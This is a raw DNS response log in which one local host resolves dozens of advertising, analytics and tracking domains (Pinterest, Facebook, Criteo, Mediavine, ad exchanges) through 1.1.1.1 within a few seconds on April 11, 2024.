Apr 11, 2024 23:26:51.784595013 CEST	1.1.1.1	192.168.2.17	0xe6ad	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.784919024 CEST	1.1.1.1	192.168.2.17	0x6d7b	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	www.gslb.pinterest.net	prod.pinterest.global.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.910193920 CEST	1.1.1.1	192.168.2.17	0xc202	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.911379099 CEST	1.1.1.1	192.168.2.17	0x699d	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.911379099 CEST	1.1.1.1	192.168.2.17	0x699d	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.911379099 CEST	1.1.1.1	192.168.2.17	0x699d	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.075310946 CEST	1.1.1.1	192.168.2.17	0xfb42	No error (0)	track.wickedreports.com		107.21.11.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.075310946 CEST	1.1.1.1	192.168.2.17	0xfb42	No error (0)	track.wickedreports.com		3.217.190.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.255853891 CEST	1.1.1.1	192.168.2.17	0xef66	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.255853891 CEST	1.1.1.1	192.168.2.17	0xef66	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.255974054 CEST	1.1.1.1	192.168.2.17	0x3f20	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.257425070 CEST	1.1.1.1	192.168.2.17	0x6a38	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.258377075 CEST	1.1.1.1	192.168.2.17	0x7f30	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.258776903 CEST	1.1.1.1	192.168.2.17	0x9969	No error (0)	analytics.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.707948923 CEST	1.1.1.1	192.168.2.17	0xe4c5	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.707948923 CEST	1.1.1.1	192.168.2.17	0xe4c5	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.708297968 CEST	1.1.1.1	192.168.2.17	0xb65e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.758155107 CEST	1.1.1.1	192.168.2.17	0x1ae7	No error (0)	tr6.snapchat.com	usc1-gcp-v61.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.758155107 CEST	1.1.1.1	192.168.2.17	0x1ae7	No error (0)	usc1-gcp-v61.api.sc-gw.com		35.190.43.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.759939909 CEST	1.1.1.1	192.168.2.17	0x99e7	No error (0)	tr6.snapchat.com	usc1-gcp-v61.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.896507978 CEST	1.1.1.1	192.168.2.17	0xb995	No error (0)	analytics.pangle-ads.com	analytics.pangle-ads.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:52.899966955 CEST	1.1.1.1	192.168.2.17	0xdfc7	No error (0)	analytics.pangle-ads.com	analytics.pangle-ads.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.206687927 CEST	1.1.1.1	192.168.2.17	0xbe76	No error (0)	some.growplow.events		172.64.197.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.206687927 CEST	1.1.1.1	192.168.2.17	0xbe76	No error (0)	some.growplow.events		172.64.196.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.207340956 CEST	1.1.1.1	192.168.2.17	0xc8e6	No error (0)	some.growplow.events			65	IN (0x0001)	false
Apr 11, 2024 23:26:53.216276884 CEST	1.1.1.1	192.168.2.17	0x70d0	No error (0)	app.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.217187881 CEST	1.1.1.1	192.168.2.17	0x2c	No error (0)	app.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.770864010 CEST	1.1.1.1	192.168.2.17	0x8c9d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.771826982 CEST	1.1.1.1	192.168.2.17	0x7847	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.771826982 CEST	1.1.1.1	192.168.2.17	0x7847	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.771826982 CEST	1.1.1.1	192.168.2.17	0x7847	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:53.771826982 CEST	1.1.1.1	192.168.2.17	0x7847	No error (0)	www.gslb.pinterest.net	prod.pinterest.global.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:54.744364023 CEST	1.1.1.1	192.168.2.17	0xcb26	No error (0)	to.getnitropack.com		172.64.150.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:54.744364023 CEST	1.1.1.1	192.168.2.17	0xcb26	No error (0)	to.getnitropack.com		104.18.37.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:54.744606018 CEST	1.1.1.1	192.168.2.17	0xf57b	No error (0)	to.getnitropack.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:56.998272896 CEST	1.1.1.1	192.168.2.17	0x612b	No error (0)	sda.fyi		172.67.164.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.998272896 CEST	1.1.1.1	192.168.2.17	0x612b	No error (0)	sda.fyi		104.21.41.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.999635935 CEST	1.1.1.1	192.168.2.17	0xd21d	No error (0)	sda.fyi			65	IN (0x0001)	false
Apr 11, 2024 23:26:56.999650002 CEST	1.1.1.1	192.168.2.17	0x8433	No error (0)	sda.fyi		172.67.164.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.999650002 CEST	1.1.1.1	192.168.2.17	0x8433	No error (0)	sda.fyi		104.21.41.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.999809980 CEST	1.1.1.1	192.168.2.17	0x4b6	No error (0)	sda.fyi			65	IN (0x0001)	false
Apr 11, 2024 23:26:57.510346889 CEST	1.1.1.1	192.168.2.17	0x45dc	No error (0)	sda.fyi		104.21.41.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.510346889 CEST	1.1.1.1	192.168.2.17	0x45dc	No error (0)	sda.fyi		172.67.164.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.510943890 CEST	1.1.1.1	192.168.2.17	0xacc8	No error (0)	sda.fyi			65	IN (0x0001)	false
Apr 11, 2024 23:26:57.700737953 CEST	1.1.1.1	192.168.2.17	0x85a3	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.700984955 CEST	1.1.1.1	192.168.2.17	0x99a5	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.706357002 CEST	1.1.1.1	192.168.2.17	0x5e52	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.707396984 CEST	1.1.1.1	192.168.2.17	0x4cf	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.716262102 CEST	1.1.1.1	192.168.2.17	0x4b23	No error (0)	api.rlcdn.com		34.107.165.188	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.716463089 CEST	1.1.1.1	192.168.2.17	0x6863	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.716463089 CEST	1.1.1.1	192.168.2.17	0x6863	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.716463089 CEST	1.1.1.1	192.168.2.17	0x6863	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.716463089 CEST	1.1.1.1	192.168.2.17	0x6863	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.719582081 CEST	1.1.1.1	192.168.2.17	0x3ab3	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.719662905 CEST	1.1.1.1	192.168.2.17	0xc88f	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:57.719662905 CEST	1.1.1.1	192.168.2.17	0xc88f	No error (0)	gum.us5.vip.prod.criteo.com		74.119.117.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.720448971 CEST	1.1.1.1	192.168.2.17	0xcba7	No error (0)	lexicon.33across.com		35.244.193.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.776254892 CEST	1.1.1.1	192.168.2.17	0x20e1	No error (0)	exchange.mediavine.com		35.162.61.240	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.776254892 CEST	1.1.1.1	192.168.2.17	0x20e1	No error (0)	exchange.mediavine.com		18.246.203.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.776254892 CEST	1.1.1.1	192.168.2.17	0x20e1	No error (0)	exchange.mediavine.com		54.188.132.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.168325901 CEST	1.1.1.1	192.168.2.17	0xa377	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.168344975 CEST	1.1.1.1	192.168.2.17	0xf4bd	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.213561058 CEST	1.1.1.1	192.168.2.17	0xc8cd	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.213561058 CEST	1.1.1.1	192.168.2.17	0xc8cd	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.213561058 CEST	1.1.1.1	192.168.2.17	0xc8cd	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.213561058 CEST	1.1.1.1	192.168.2.17	0xc8cd	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.553010941 CEST	1.1.1.1	192.168.2.17	0x3ca1	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.553010941 CEST	1.1.1.1	192.168.2.17	0x3ca1	No error (0)	gum.us5.vip.prod.criteo.com		74.119.117.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.553551912 CEST	1.1.1.1	192.168.2.17	0xb764	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.641752958 CEST	1.1.1.1	192.168.2.17	0xc89a	No error (0)	lexicon.33across.com		35.244.193.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.719588995 CEST	1.1.1.1	192.168.2.17	0x959a	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.719631910 CEST	1.1.1.1	192.168.2.17	0x7951	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.958098888 CEST	1.1.1.1	192.168.2.17	0x6650	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.958369017 CEST	1.1.1.1	192.168.2.17	0x52ec	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959059000 CEST	1.1.1.1	192.168.2.17	0x21fd	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959059000 CEST	1.1.1.1	192.168.2.17	0x21fd	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959249020 CEST	1.1.1.1	192.168.2.17	0xc834	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959249020 CEST	1.1.1.1	192.168.2.17	0xc834	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959249020 CEST	1.1.1.1	192.168.2.17	0xc834	No error (0)	lga-direct-bgp.contextweb.com		198.148.27.131	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959608078 CEST	1.1.1.1	192.168.2.17	0xf03c	No error (0)	acdn.adnxs.com	prod.appnexus.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959608078 CEST	1.1.1.1	192.168.2.17	0xf03c	No error (0)	prod.appnexus.map.fastly.net		151.101.193.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959608078 CEST	1.1.1.1	192.168.2.17	0xf03c	No error (0)	prod.appnexus.map.fastly.net		151.101.1.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959608078 CEST	1.1.1.1	192.168.2.17	0xf03c	No error (0)	prod.appnexus.map.fastly.net		151.101.129.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.959608078 CEST	1.1.1.1	192.168.2.17	0xf03c	No error (0)	prod.appnexus.map.fastly.net		151.101.65.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.961472988 CEST	1.1.1.1	192.168.2.17	0x3a08	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.961472988 CEST	1.1.1.1	192.168.2.17	0x3a08	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.961692095 CEST	1.1.1.1	192.168.2.17	0x7b25	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		54.209.123.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		54.82.87.47	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		3.208.207.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		3.83.209.251	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		3.228.196.71	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		34.231.87.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		34.192.92.29	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962182045 CEST	1.1.1.1	192.168.2.17	0x842	No error (0)	rtb.gumgum.com		54.157.38.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962279081 CEST	1.1.1.1	192.168.2.17	0xe3d7	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.81.20.119	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		23.22.14.130	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.218.83.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.164.91.55	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.205.208.41	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.202.27.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.195.161.142	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962927103 CEST	1.1.1.1	192.168.2.17	0xe237	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.209.150.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962960005 CEST	1.1.1.1	192.168.2.17	0x54fc	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962960005 CEST	1.1.1.1	192.168.2.17	0x54fc	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962960005 CEST	1.1.1.1	192.168.2.17	0x54fc	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.962960005 CEST	1.1.1.1	192.168.2.17	0x54fc	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.963265896 CEST	1.1.1.1	192.168.2.17	0xd965	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.963265896 CEST	1.1.1.1	192.168.2.17	0xd965	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.963265896 CEST	1.1.1.1	192.168.2.17	0xd965	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964108944 CEST	1.1.1.1	192.168.2.17	0x7e3b	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964108944 CEST	1.1.1.1	192.168.2.17	0x7e3b	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964147091 CEST	1.1.1.1	192.168.2.17	0xd7f3	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:58.964432955 CEST	1.1.1.1	192.168.2.17	0x2e8c	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964432955 CEST	1.1.1.1	192.168.2.17	0x2e8c	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.53	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.85	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.39	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964468956 CEST	1.1.1.1	192.168.2.17	0xf94a	No error (0)	ssbsync-usw1.smartadserver.com		23.83.76.68	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964546919 CEST	1.1.1.1	192.168.2.17	0x368	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964546919 CEST	1.1.1.1	192.168.2.17	0x368	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.964983940 CEST	1.1.1.1	192.168.2.17	0x3dd	No error (0)	contextual.media.net		23.47.168.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.68	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.76	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965053082 CEST	1.1.1.1	192.168.2.17	0x5f41	No error (0)	sync.colossusssp.com		172.240.155.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.965717077 CEST	1.1.1.1	192.168.2.17	0x1cf4	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966320038 CEST	1.1.1.1	192.168.2.17	0x6531	No error (0)	e.chicoryapp.com		34.36.130.12	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.966356993 CEST	1.1.1.1	192.168.2.17	0xe8bb	No error (0)	ssc-cms.33across.com	pixel.33across.com		CNAME (Canonical name)	IN (0x0001)	false
